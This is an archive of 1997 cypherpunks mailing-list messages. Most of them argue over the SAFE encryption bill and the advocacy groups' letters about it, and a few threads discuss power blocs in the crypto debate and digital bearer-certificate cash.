>private companies, and trade associations. [The IPC letter is
>at http://www.privacy.org/ipc/safe_letter.html ]
>
>
>Marc Rotenberg
>EPIC.
>
>
>
>
>At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>>At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>>>Two quick points:
>>>
>>>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>>>letter to the House subcommittee on April 29 urging that SAFE be approved
>>>without any changes? (I'm in Oklahoma right now and I have a copy of that
>>>letter in my office in DC, but that's what I remember.)
>>
>>Declan, I can't believe you did your research so poorly.  Go look at the
>>Internet Privacy Coalition letter at
>>http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>>bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>>there.
>>
>>You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>>Eagle Forum, VTW, and PGP all signed.
>>
>>Since you've been laboring under this mistaken impression, you owe somebody
>>at CDT a big fucking apology.
>>
>>-S
>>
>>>
>>>
>>>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>>>
>>>> The Administration hates this bill, because it threatens their ability to
>>>> roll out Key Recovery.  They've said as much in the letter Declan
>>>>forwarded:
>>>>
>>>>    "The bill could be read as prohibiting the United States government
>>>>     from using appropriate incentives to support a key management
>>>>     infrastructure and KEY RECOVERY." [emphasis added]
>>>>
>>>> Do you think that if this bill helped the Administration, that they'd be
>>>> out there urging the subcommittee chairman to stop it?  I think not.
>>>>
>>>> I'm also puzzled by the fact that CDT is being criticized pretty much
>>>> solely, even though the entire Internet Privacy Coalition, and several
>>>> other groups all wrote a letter of support of the bill with only a
>>>> criticism of one provision.  However the overall statement was of support.
>>>> (see http://www.privacy.org/ipc/safe_letter.html)
>>>>
>>>> As far as I can tell, everyone criticizing the bill either thinks that:
>>>>
>>>> 	a) CDT actually runs all these groups behind the scenes, or
>>>> 	b) pretty much all of the Internet advocates believe that this bill
>>>>            is needed and are doing the best they can with what
>>>>Congress has
>>>>            written.
>>>>
>>>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
>>>> Reform, the Association for Computing Machinery, Computer
>>>>Professionals for
>>>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>>>> Defense Lawyers, and PGP Inc all signed this letter.
>>>>
>>>> Can you consider, perhaps, for a second, that critics of SAFE are being
>>>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>>>> Administration.  Is that the kind of company that cypherpunks keep?
>>>>
>>>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>>>
>>>>   The pending bill provides a positive framework for the reforms that are
>>>>   long overdue in this critical area. It makes clear that the sale or use
>>>> of
>>>>   encryption, a vital technique to promote network security and individual
>>>>   privacy, should not be restricted in the United States. This is the view
>>>>   widely shared by users of the Internet and the computer and
>>>>communications
>>>>   industry. It was also a central recommendation of the
>>>>   report of the National Research Council last year.
>>>>
>>>> Looks like widespread support from people who study this issue for living.
>>>> I'm glad to be counted among them.
>>>>
>>>> -S
>>>>
>>>> -Shabbir
>>>>
>>>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Sat, 3 May 1997 00:16:29 +0800
To: Declan McCullagh <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v0300780aaf8fc2572aac@[204.91.138.22]>
Message-ID: <v0300783eaf8f888fe3b0@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


Actually, I think you do.  There aren't any other groups out there who sent
letters urging the entire subcommittee to start hacking on the bill at the
subcommittee level.  Even the IPC letter to Goodlatte said to address the
issue at the full committee level.

That seems to be the strategy everyone is pursuing, so if you're going to
attack CDT for it, you had better include VTW, the ACLU, EPIC, EFF, et al.

-S

At 8:51 AM -0700 5/2/97, Declan McCullagh wrote:
>Thanks, Marc, for posting the URL for CDT's letter urging the House
>subcommittee to approve SAFE without amendment. I was quoting from memory.
>
>No, Shabbir, I don't think I owe anyone a "big fucking apology."
>
>-Declan
>
>
>On Fri, 2 May 1997, Marc Rotenberg wrote:
>
>>
>>
>> Shabbir is a very good organizer and often very busy, which
>> may explain the confusion about the TWO letters that were
>> sent out regarding SAFE.
>>
>> CDT sent a letter to Hon. Howard Conable, the chair of the
>> Subcommittee, on April 24 which said that "CDT strongly urges
>> you to report H.R. 695, the SAFE Act, out of the Courts
>> and Intellectual Property Subcommittee without amendment."
>> [The CDT letter is at
>> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>>
>> EPIC helped coordinate a different letter for the Internet
>> Privacy Coalition, which went to Rep. Goodlatte on April
>> 28 and said
>>
>>      While expressing our support for the measure, we wish
>>      also to state our concern about one provision contained
>>      in the bill. We believe that this provision, which would
>>      create new criminal penalties for the use of encryption in
>>      furtherance of a crime, could undermine the otherwise laudable
>>      goals of the legislation. For the reasons set forth below, we
>>      recommend that this provision be reconsidered when the Committee
>>      considers the bill.
>>
>> The IPC letter was signed by 26 privacy groups, user organizations,
>> private companies, and trade associations. [The IPC letter is
>> at http://www.privacy.org/ipc/safe_letter.html ]
>>
>>
>> Marc Rotenberg
>> EPIC.
>>
>>
>>
>>
>> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>> >>Two quick points:
>> >>
>> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>> >>letter to the House subcommittee on April 29 urging that SAFE be approved
>> >>without any changes? (I'm in Oklahoma right now and I have a copy of that
>> >>letter in my office in DC, but that's what I remember.)
>> >
>> >Declan, I can't believe you did your research so poorly.  Go look at the
>> >Internet Privacy Coalition letter at
>> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>> >there.
>> >
>> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>> >Eagle Forum, VTW, and PGP all signed.
>> >
>> >Since you've been laboring under this mistaken impression, you owe somebody
>> >at CDT a big fucking apology.
>> >
>> >-S
>> >
>> >>
>> >>
>> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>> >>
>> >>> The Administration hates this bill, because it threatens their
>>ability to
>> >>> roll out Key Recovery.  They've said as much in the letter Declan
>> >>>forwarded:
>> >>>
>> >>>    "The bill could be read as prohibiting the United States government
>> >>>     from using appropriate incentives to support a key management
>> >>>     infrastructure and KEY RECOVERY." [emphasis added]
>> >>>
>> >>> Do you think that if this bill helped the Administration, that they'd be
>> >>> out there urging the subcommittee chairman to stop it?  I think not.
>> >>>
>> >>> I'm also puzzled by the fact that CDT is being criticized pretty much
>> >>> solely, even though the entire Internet Privacy Coalition, and several
>> >>> other groups all wrote a letter of support of the bill with only a
>> >>> criticism of one provision.  However the overall statement was of
>>support.
>> >>> (see http://www.privacy.org/ipc/safe_letter.html)
>> >>>
>> >>> As far as I can tell, everyone criticizing the bill either thinks that:
>> >>>
>> >>> 	a) CDT actually runs all these groups behind the scenes, or
>> >>> 	b) pretty much all of the Internet advocates believe that this bill
>> >>>            is needed and are doing the best they can with what
>>Congress has
>> >>>            written.
>> >>>
>> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans
>>for Tax
>> >>> Reform, the Association for Computing Machinery, Computer
>>Professionals for
>> >>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>> >>> Defense Lawyers, and PGP Inc all signed this letter.
>> >>>
>> >>> Can you consider, perhaps, for a second, that critics of SAFE are being
>> >>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>> >>> Administration.  Is that the kind of company that cypherpunks keep?
>> >>>
>> >>> Here's a great excerpt from the Internet Privacy Coalition letter:
>> >>>
>> >>>   The pending bill provides a positive framework for the reforms
>>that are
>> >>>   long overdue in this critical area. It makes clear that the sale
>>or use
>> >>> of
>> >>>   encryption, a vital technique to promote network security and
>>individual
>> >>>   privacy, should not be restricted in the United States. This is
>>the view
>> >>>   widely shared by users of the Internet and the computer and
>> >>>communications
>> >>>   industry. It was also a central recommendation of the
>> >>>   report of the National Research Council last year.
>> >>>
>> >>> Looks like widespread support from people who study this issue for
>>living.
>> >>> I'm glad to be counted among them.
>> >>>
>> >>> -S
>> >>>
>> >>> -Shabbir
>> >>>
>> >>>
>>
>>
>>
>>
>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Sat, 3 May 1997 00:21:45 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v03007839af8f6a35bc42@[166.84.253.73]>
Message-ID: <v0302090baf8fba2dd2ac@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain


This is indeed true - CDT sent a separate letter and signed the IPC letter.

As Marc Rotenberg knows very well, the legislative process is complicated.
Marc also knows that Goodlatte, Coble, Lofgren, and the other subcommittee
supporters of SAFE chose not to consider any amendments at the subcommittee
markup, but rather to take up our concerns at the full committee.

Goodlatte's staff and the other sponsors of SAFE had worked very hard to
prevent any amendments, hostile *and* friendly, at the subcommittee vote
for fear of hostile amendments from the Administration and opponents of
SAFE in the congress. A bill isn't worth much when it gets to the full
Committee if it gets gutted at the Subcommittee.  Goodlatte wanted to get
some momentum behind it before going into the expected all out fight at the
full committee.

CDT sent a separate letter to the subcommittee members focused on the
subcommittee markup urging the them to pass the bill without amendments.
The IPC letter was deliberately left vague with the intent of focusing on
the full Judiciary committee vote later this month.

We also signed the IPC letter to the full committee urging changes to the
criminal provision, and intend to work to see those changes through.

Jonah


At 11:33 AM -0500 5/2/97, Marc Rotenberg wrote:
>Shabbir is a very good organizer and often very busy, which
>may explain the confusion about the TWO letters that were
>sent out regarding SAFE.
>
>CDT sent a letter to Hon. Howard Conable, the chair of the
>Subcommittee, on April 24 which said that "CDT strongly urges
>you to report H.R. 695, the SAFE Act, out of the Courts
>and Intellectual Property Subcommittee without amendment."
>[The CDT letter is at
>http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>
>EPIC helped coordinate a different letter for the Internet
>Privacy Coalition, which went to Rep. Goodlatte on April
>28 and said
>
>     While expressing our support for the measure, we wish
>     also to state our concern about one provision contained
>     in the bill. We believe that this provision, which would
>     create new criminal penalties for the use of encryption in
>     furtherance of a crime, could undermine the otherwise laudable
>     goals of the legislation. For the reasons set forth below, we
>     recommend that this provision be reconsidered when the Committee
>     considers the bill.
>
>The IPC letter was signed by 26 privacy groups, user organizations,
>private companies, and trade associations. [The IPC letter is
>at http://www.privacy.org/ipc/safe_letter.html ]
>
>
>Marc Rotenberg
>EPIC.
>


* Value Your Privacy? The Governmet Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crytpo.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Sat, 3 May 1997 04:28:45 +0800
To: Declan McCullagh <declan@vorlon.mit.edu>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
Message-ID: <199705021910.MAA07300@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> From: Charles Platt <cp@panix.com>
> > From: Jonah Seiger <jseiger@cdt.org>
> >
> > However, despite our concerns about the criminal provisions, we believe
> > strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
> > and Leahy, are vitally important and should be passed.
> 
> This kind of "pragmatism" is precisely why I have no faith whatsoever in
> CDT. There's a slippery slope, here, that really IS a slippery slope. As
> soon as you agree with the principle that the legislators can and SHOULD
> pass laws in a certain area, you risk losing large chunks of freedom.

Ok, I think I can agree with your principles, if they are stand-alone.
However, I believe the issue here is not whether your (and Tim's)
principles are correct; instead, the issue here is of time and what
time we have left.  I must point out the following:

    The NSA/FBI is NOT standing still while we are all bickering about
    precisely which dotted-i and crossed-t to support.  They can, at
    the stroke of Clinton's executive order pen, initiate effectively
    THEIR law, while we must gather forces and summon Congress to jump
    through enough hoops to pass effective legislation.

In short, they can get what they want instantly, while we cannot
except through a long and arduous process (during which they can throw
many procedural and lobbying obstacles to slow us down).  The process
is clearly in THEIR favor (and not without good reason), and we must
face that fact.

In an ideal world, when we can stop time for as long as we want to sit
around a table and discuss just what is good and bad legislation, we
can afford to be pure on principle.  However, time is running out
because the longer we wait for ANY legislation to pass, the more
nations the NSA will coerce behind closed doors (and remember, you
have ZERO real ability to affect these slimy maneuvers) in the name of
national security.

It takes just one Om Shinri Kyo (sp?) in any nation to convince its
leaders to pass knee-jerk panic legislation in the name of security,
and it's the fault of politics at the beck and call of human nature
(not just stupid politicians).

> Conversely, so long as the area remains sacrosanct, free of legislation
> (e.g. the content of private mail), the situation remains clear and clean.

NO!  This is totally contrary to the facts!

And I don't understand why you did not respond to this point when I
brought it up earlier.  This area is MOST CERTAINLY NOT free of
legislation.  Have you tried to openly export a IDEA- or 3DES-based
non-key-recovery (real commercial) product lately?  Have you set up an
open, publically announced FTP site where anyone can freely fetch
strong encryption sources?  If not, then explain why, if there is no
legislation on this matter, couldn't you do it?

Just because there isn't an explicit bill somewhere that, in no
uncertain terms, clearly grants or denies a right to Americans, does
not mean that no government agency have any real effective claim on
control of the matter.  Why else would we be having this discussion?

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 3 May 1997 03:38:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Power Blocs in the Crypto Debate
In-Reply-To: <v03007804af8d2de3f630@[207.167.93.63]>
Message-ID: <3.0.1.32.19970502121733.00640a80@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:23 AM 4/30/97 -0800, Tim May wrote:
>              Users of crypto, concerned citizens, the public
>                     Cypherpunks, EFF, ACLU, EPIC, etc.
>                             /
>                            /
>                    Public/Users
>                    /         \
>                   /           \
>                  /             \
>      Corporations  -  -  -  -  Government - - NSA, FBI, military,
>          /                              law enforcement, regulators,
>         /                                    SEC, FCC, etc,
>    PGP, Inc., RSADSI, Cylink
>    Verisign, Netscape, etc.

It's a useful start, but treating corporations as one bloc 
makes it too easy for journalists and government to say things like
"Industry wants <foo>!"

Most corporations are primarily users - they want to protect their own
internal communications and recordkeeping enough for perceived threats,
but they aren't passionate about it - it's just a tool, not a product.
Some corporations, like PGP, selling privacy tools as products,
and most of them want to provide high security with no interference.

Other corporations have a market niche of sucking up to Government,
and trying to create a market for GAKked products - like TIS and Dorothy -
while using the Government to interfere with their competitors;
if a GAKked product increases a user company's security enough that
they're not losing much money on it, they've benefitted substantially,
and most user companies have to tell the government what it wants to know
when it wants to know it anyway, so GAK doesn't hurt them much.

Banks in particular fall into this user category - they really need to keep
from getting ripped off, since their losses are direct and immediate
(unlike, say, intellectual property leaking) - but most US banks
have no illusions that they're maintaining any privacy barriers between
their users and government.

Cellphone companies are a special case - their main privacy concerns
are keeping customers from complaining loudly, but the watered-down
digital encryption standards are enough to reduce eavesdropping,
and there's enough strong crypto to prevent billing fraud.
On the other hand, building an infrastructure that supports wiretapping
can be a big expense, and a big disruption to their network architecture
and operational efficiency, so now you're talking Real Money again.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 03:44:24 +0800
To: Jonah Seiger <cypherpunks@cyberpass.net
Subject: Re: High Ranking Reprsentative pulls support of SAFE...
In-Reply-To: <v03020911af8fcf53cb16@[207.226.3.4]>
Message-ID: <v03007804af8ff82abe1a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:15 AM -0800 5/2/97, Jonah Seiger wrote:
>Looks like the FBI and thier allies have been playing hardball, and have
>managed to convince a high-ranking Republican member of Congress to buy
>into their ani-cryto reform arguments.
>
>Solomon is the Chairman of the House Rules Committee.
>
>This fight just got a lot tougher.
>
>Jonah

The Feds want more, a lot more. This is their way. Making crypto a
semi-criminalized act was not enough.

Including the Emergency Economic Powers Act and "terrorism" provisions to
limit export was not enough.

At some point, Jonah, you and your colleagues need to figure out what it is
you really stand for. I don't think many of us are under any illusions that
your organizations are grass-roots, basic rights organizations, given that
you're not being funded by the dues-paying memberships of hundreds of
thousands of private  citizens, but, really, it is too much to have a group
with "democracy" so prominently in the name shilling for mere corporate
export approvals.

At least the tobacco lobbyists are honest in the naming of their lobbying
groups. (Not that I have anything against tobacco lobbyists, mind you.
Americans should be free to make their own decisions about what they smoke
or inject.)

Meanwhile, the "Center for Democracy and Technology" went along with the
semi-criminalization of crypto, went along with the EEPA/terrorist/military
use provisions, and what it did get them? The NSA and FBI want more.

Maybe if you throw in your support for crypto use as a basis for obtaining
a search warrant, Solomon and the others will temporarily support SAFE
again...at least until Aaron, Baker, and the others scare him again. Then
maybe you'll have to support "crypto triggers RICO" provisions (after all,
most crypto involves more than one person, which makes it a conspiracy to
avoid detection or wiretapping...)


>----
>                             May 1, 1997
>
>		      OPPOSE HR. 695 "SAFE ACT"
>
>
>Dear Colleague:
>
>Earlier this week, after meeting with officials from Defense and FBI, I
>removed myself as a cosponsor of HR 695.  Allow me to explain some of their
>concerns about this bill.

As with the other "supporters" of the Bill, including the various private
groups like Eagle Forum, National Taxpayer's Union, etc., I suspect most of
these supporters really didn't know what they were supporting. Now that the
Feds are leaning on their friends from one side, and folks like us are
leaning from the other side, support for SAFE is probably evaporating
(isn't it sublime?).



>The Department of Defense believes that HR 695 would increase the export
>threshold for encryption software to a level which would effectively remove
>existing controls.  This would make unbreakable encryption technology
>widely available and "have a negative impact on national security,
>effective law enforcement and public safety".  The FBI opposes the bill
>because, "It would be irresponsible for the U.S. to adopt a policy that
>consciously unleashes widespread, unbreakable, non-key recovery encryption
>products that undermine law enforcement in the United States and worldwide."

What's this about "unleashes...in the United States" bit? Does Solomon
think there are laws limiting crypto in the U.S.? He must think the "use a
cipher, go to prison" provisions are not enough of a restriction on civil
rights in the U.S.


>I also met with Ambassador Aaron (OECD), who pointed out that many of the
>major industrial countries have already approved encryption safeguards and
>the rest are waiting for the United States to act.  He believes HR 695
>would send the worst possible signal to our allies.

Indeed, Aaron has been globe-trotting to get "buy-ins" on a global key
registration infrastructure.

This is why the "reject it all" stance is now more important than ever,
else the rights of U.S. citizens will be sacrificed to international
treaties and misguided legislation like SAFE.


>Lastly, Assistant Attorney General Andrew Fois stated in a letter to
>Chairman Coble, "... the bill would severely compromise law enforcement's
>ability to protect the American people from the threats posed by
>terrorists, organized crime, child pornographers, drug cartels, financial
>predators, hostile foreign intelligence agents, and other criminals... It
>is difficult enough to fight crime without making criminals' tasks any
>easier."

The invocation of the Horsemen of the Infocalypse. Apparently criminalizing
crypto is not enough...they want more. More, more, more.

>In addition to the FBI and DOD the legislation is opposed by the Justice
>Department, Central Intelligence,. the NSA, the National District
>Attorney's Association, the International Association of Chiefs of Police
>and the National Sherrif's Association.  Again, I would ask you to oppose
>HR 695.


This is just another reminder--which I wish you inside-the-Beltway folks
would someday really comprehend--that there is no compromising with
statists. You give them some of what they want, and they demand more.

The NRA learned the hard way, through resignations by many of us, that
compromise rarely works.

(And one gun vendor, Ruger, learned that its support of restriction on
so-called assault weapons backfird, so to speak, as a national boycott of
Ruger's products impacted their business. We can only hope that a "Just say
"No" to PGP" campaign will have a similar effect.)

One last thing. Part of this inside-the-Beltway mindset is the impression,
I believe, that no dissenting opinion exists outside the Beltway. Only when
folks like us denounce SAFE does it become apparent that the giveaways of
basic rights in exchange for "corporate" contributions will not be welcomed.

No personal offense intended, Jonah, but CDT has lost any credibility in
being a "rights" organization. "Center for Democracy and Technology" indeed!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 03:46:31 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Power Blocs in the Crypto Debate
In-Reply-To: <v03007804af8d2de3f630@[207.167.93.63]>
Message-ID: <v03007805af8ffe302853@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:17 AM -0800 5/2/97, Bill Stewart wrote:
>At 10:23 AM 4/30/97 -0800, Tim May wrote:
>>              Users of crypto, concerned citizens, the public
>>                     Cypherpunks, EFF, ACLU, EPIC, etc.
>>                             /
>>                            /
>>                    Public/Users
>>                    /         \
>>                   /           \
>>                  /             \
>>      Corporations  -  -  -  -  Government - - NSA, FBI, military,
>>          /                              law enforcement, regulators,
>>         /                                    SEC, FCC, etc,
>>    PGP, Inc., RSADSI, Cylink
>>    Verisign, Netscape, etc.
>
>It's a useful start, but treating corporations as one bloc
>makes it too easy for journalists and government to say things like
>"Industry wants <foo>!"

Yes, but any analysis able to be quickly comprehended--which is what this
diagram was meant to be a stab at--has to avoid complexification. I could,
for example, split each of these three main legs into multiple subfactions,
or could argue that there are 5, or even more, legs to the diagram.

Saying "industry wants foo" is of course an oversimplification, but, in
fact, we're seeing my analysis somewhat confirmed by the debate over the
SAFE bill. (Though in this case I would move CDT and related groups over to
the "Corporations" side...it was probably a major mistake by me to place
them mostly in the "Users" orbit.)

My point was that the interests of these major blocs rarely coincide, for
various reasons.

Recall--and you were at that meeting, Bill--that Phil Zimmermann despaired
publically over the drift of PGP, Inc. into the orbit of those companies
prepared to sacrifice basic Consitutional rights in exchange for being able
to export (and to sell to government agencies, which I believe is a major,
major factor in PGP, Inc.'s increasing tendencies to abandon the civil
rights origins of "PGP the guerilla program" in favor of "PGP, the tool of
choice for securing the enterprise."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 3 May 1997 03:53:12 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill / Fuck You (an inch at a time)
Message-ID: <199705021934.MAA12088@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705020430.VAA16643@fat.doobie.com>, on 05/01/97 at 10:30 PM,
>    nobody@huge.cajones.com (Huge Cajones Remailer) said:
> 
> >  We put up with crap from our government that we wouldn't accept from
> >someone trying to sell us a mouthwash. The reason that we're not all
> >drinking the "New Coke" is that D.C. has siphoned off all of the spin
> >doctors/brainwashers from the corporate advertising industry.
> 
> Well there must be a few spin-doctors left as we are drinking "New Coke".
> :)
> 
> The whole "New Coke/Orriginal Coke" was one of the best con jobs I have
> ever seen. The Coca-Cola Company had a small problem, the cost of sugar.
> It's compitition was using corn suryp as a sweetner in their products which
> was much cheaper than the sugar Coca-Cola was using in theirs.
> 
> Now how were they going to switch from sugar to corn suryp in Coke without
> lossing a portion of their customers because of the change in taste? NEW
> COKE!!
> 
> Here is what they did:
> 
> Come out with NEW COKE which was a major formula change.
> Drop OLD COKE at the same time.
> Wait a few months while the natives are restless over the change. Bring
> back "OLD COKE" due to customer demmand (making Coca-Cola Inc. the "good"
> guys). Don't tell anyone that you have switched from sugar to corn suryp
> (the sheep will never notice).
> 
> Vola!! Now Coca-Cola has dramatically increased their profits and won a
> major PR campain (they care about their customers) sales are up costs are
> down and the sheep are happy.
> 
> Now I have NEVER seen the neanderthals in DC ever pull off somthing this
> good. :)

  I guess that if their spin-doctors had been involved in the
cypherpunks
list takeover, that we would all have golden images of Sameer on our
computers.

CokeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Sat, 3 May 1997 00:50:06 +0800
To: cypherpunks@cyberpass.net
Subject: Booby traps, but no anarchist writings
Message-ID: <Pine.BSI.3.92.970502122952.3001A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain


>From today's NYT
http://www.nytimes.com/yr/mo/day/news/national/ny-explosives.html

          [N] EW YORK -- A Bronx man who booby-trapped his
              apartment with homemade bombs accidentally blew his
          left hand off Thursday morning, the police said,
[snip]
          Just what Saperstein -- who has a criminal record dating
          back to 1983 for weapons possession, disorderly conduct
          and drug possession -- was doing with all the explosives
          puzzled investigators.

          "There's no indication he was involved in any group,"
          said a police investigator, who spoke on the condition
          of anonymity. "There were no rantings or anarchist
          writings of any kind."
[snip]
[end of quoted material]

Good thing this guy didn't have a folder of old cypherpunks messages on a
hard drive!  Then he'd *really* be in trouble I guess.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 3 May 1997 01:38:23 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302090aaf8e840675e3@[139.167.130.246]>
Message-ID: <v0302091baf8fb7a1ebb2@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:37 am -0400 on 5/2/97, Adam Back wrote:

> It's not an attempt to make money less negotiable, though this is of
> course the effect.

Say no more. :-).


> It's just another approach to avoiding the banking
> regulations.  As you admit the market will take care of the exchange
> mechanism, it just adds inconvenience in locating the exchange
> mechanisms, and the stigma that the mechanisms are not official.

The model I've been talking about, with a trustee bank holding the
book-entry assets for the certificates on the net does exactly this,
without the "inconvenience" of avoiding banking regulations. :-). Occam's
razor.


> So now you get to trust the trustee.  Doesn't seem like a big
> improvement.

Again, you can't have finance without trust. Fortunately, in cypherspace,
reputation is orthogonal to identity. No problem. You have identified
accounts for the underwriters, but you have unidentified users (once the
certificates are on the net) of the cash itself.

> I don't think VISA and friends want anonymous settlement, they like
> comprehensive transaction logs to keep people like FinCEN happy.
> You're not suggesting that SET offers anonymity are you?

By definition, VISA *can't* have anonymous settlement. Modulo anonymous
secured credit accounts, with a tip of the metaphor to Duncan and Co. And,
frankly, FinCEN *itself* can't control a bearer certificate economy, and it
*knows* so. If digital bearer certificates do prove to be, say, 100 times
as efficient to use as book entries, particularly on ubiquitous geodesic
public networks, then FinCEN will be able monitor what comes on and off the
net, but will simply have to <analogy> stand back and let the net.commerce
train go by </anology>. The assistant director of FinCEN as much as
admitted this, on a panel I was on, last fall at the Institute (nee'
Office) of Technology Assessment's conference on the regulation of digital
cash.

Again, folks, this is how to win the crypto fight. Just as faster shipping
killed the idea of royal charters and mercantilism in favor of lazzez faire
capitalism, so to will financial cryptography kill book-entry control
structures and taxation.

As far as SET goes, the only feature in SET that I care about, and
Cybercash has this also, is the ability to "tunnel" transaction messages
through the merchant to the card issuer. I claim the same kind of protocol
can be used to tunnel, an ATM message, through the underwriter, and the
trustee, to the cash purchaser's home bank for authentication. That's all.

> Anyway, I'm not against this initial approach necessarily.  Once
> you've got one non-anonymous electronic payment system with low entry
> costs to obtaining both a merchant and a purchaser, and is widely
> accepted, you can boot strap an anonymous payment system off it.

Precisely. It's an intermediate form. A profitable intermediary form, just
like those proto-wings on  those pond-skimming insects. See why the
metaphor is useful?

> The net model is that it should be that a merchant and a customer
> account are the same, and can be had by filling in a web page in real
> time.  However, aren't they trying to make big bucks out of merchant
> accounts.

I'm not sure what the above means...

> Will SET and Cybercash make it easier to be a merchant than it is to
> be a VISA merchant?  Becoming a credit card merchant is a rather
> onerous expensive, slow process I hear.

Right. However, this isn't like a credit card. You can almost liken an
underwriter to an ATM machine, except that it "prints" cash on the spot.
Yes, I know, the blinding takes place at the purchaser's machine, but the
certificates don't become *negotiable* until the underwriter signs them.
(That, by the way, is why you have to honor patents, because the
underwriter and the trustee, for the time being, are identified, litigable,
meatspace entities. The nice thing is, though, the users of the
certificates are *impossible* to identify.)

Anyway, the point is, modulo licensing the blind signature patent, which
Digicash should do, and probably won't (this week, anyway), being an actual
underwriter is more a question of marketing than anything else. Anyone with
a 486 (the original mint ran on one of these) and a full-time internet feed
could do it.

Takes a little more work to be a bank. Part of that work is adhering to all
that meatspace regulation, but, frankly, holding the float account is no
different from holding any other trust account. That, as they say in the
Great White North, is the beauty part. Much easier than growing a mouse in
a beer bottle, eh?

> You lost me there.  Above you described the trustee's function as
> holding the ability to issue money to keep the bank honest.  What _is_
> a bearer certificate in this discussion?  A digitally signed share
> certificate, or other representation of an unit of value?
>

The trustee holds assets, in trust, which are used to capitalize the
